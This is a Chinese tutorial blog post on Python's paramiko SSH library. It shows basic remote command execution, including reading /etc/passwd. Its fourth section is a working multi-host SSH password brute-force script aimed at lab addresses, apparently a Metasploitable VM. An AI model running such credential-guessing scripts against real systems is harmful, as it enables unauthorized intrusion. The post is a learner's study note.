python之paramiko模块

这两天在学习python,在学习的过程中,

顺便记录一下,以便加深印象。

01

安装

pip install paramiko

easy_install paramiko

导入模块没问题,安装成功

02

简单的ssh示例

使用用户名密码认证的方式,调用exec_command()方法执行系统命令。

#coding:utf-8

import paramiko

host = "192.168.112.129"

port = 22

username = "msfadmin"

password = "msfadmin"

ssh = paramiko.SSHClient() #创建ssh客户端对象

ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) #允许连接不在know_hosts文件中的主机

ssh.connect(host,port,username,password)

stdin,stdout,stderr = ssh.exec_command('tail -5 /etc/passwd')

print stdout.read()

ssh.close()

运行结果:

03

paramkio核心组件

paramiko包含两个核心组件,一个是SSHClient类,还有一个就是FTPClient类了。

SSHClient是SSH服务会话的高级表示。常用方法有:

(1)connect方法

方法定义:

connect(self,hostname,port=22,username=None,password=None,pkey=None,key_filename=None,timeout=None,allow_agent=True,look_for_keys=True,compress=False)

pkey参数表示私钥方式用于身份验证

allow_agent设置为False时禁用连接到ssh代理

look_for_keys设置为False时禁用在~/.ssh/中搜索私钥文件。

(2)exec_command方法

远程命令执行方法。

(3)load_system_host_keys方法

加载本地公钥校验文件,默认路径为~/.ssh/known_hosts,非默认路径需要手工指定。

(4)set_missing_host_key_policy方法

设置连接的远程主机没有本地主机秘钥或者HostKeys对象时的策略,即允许连接不在know_hosts文件中的主机。

支持三种设置

AutoAddPolicy:自动添加主机名和秘钥到本地并保存,不依赖load_system_host_keys()的配置(上边的脚本使用的就是这种方式);

RejectPolicy:自动拒绝未知的主机名和秘钥,依赖load_system_host_keys();

WarningPolicy:类似于AutoAddPolicy,但是对未知的主机会有警告。

04

破解ssh口令的脚本

(脚本文档点击阅读原文获取,提取码:xza4)

#coding:utf-8

import paramiko

import threading

def ssh_connect(host,username,password):

try:

ssh = paramiko.SSHClient() #创建ssh客户端对象

ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) #允许连接不在know_hosts文件中的主机

ssh.connect(hostname=host,username=username,password=password,timeout=0.5)

ssh.close()

print "[+]successfully! username is " + username

print "[+]successfully! password is " + password

except:

print "[-]failed"

def ip():

ip_list = []

ip = "192.168.112."

for i in xrange(128,130):

ip += str(i)

ip_list.append(ip)

ip = "192.168.112."

return ip_list

def payloads_list():

ip_list = ip()

username_list = ['root','admin','msfadmin','anonymous','ftpuser']

password_list = ['password','123456','msfadmin']

payload = []

payloads = []

for a in ip_list:

for b in username_list:

for c in password_list:

payload.append(a)

payload.append(b)

payload.append(c) #把所需参数加入payload中

for i in range(0,len(payload),3):

payloads.append(payload[i:i+3]) #将payload切割,生成一一对应的参数放入新的列表中

return payloads

def attack():

payloads = payloads_list()

print "start attack"

for i in range(len(payloads)):

ssh_connect(payloads[i][0],payloads[i][1],payloads[i][2])

if __name__ == '__main__':

attack()

运行结果截图(部分)

跑的速度有点慢,本来想着用多线程,对多线程的使用不是很懂,在使用的过程中出现了问题,思来想去也不知道为啥(我菜鸡),代码如下:

运行结果:

若有知道的大佬还望不吝赐教。

-END-

  • 发表于:
  • 原文链接http://kuaibao.qq.com/s/20180508G0A80A00?refer=cp_1026
  • 腾讯「云+社区」是腾讯内容开放平台帐号(企鹅号)传播渠道之一,根据《腾讯内容开放平台服务协议》转载发布内容。
  • 如有侵权,请联系 yunjia_community@tencent.com 删除。

扫码关注云+社区

领取腾讯云代金券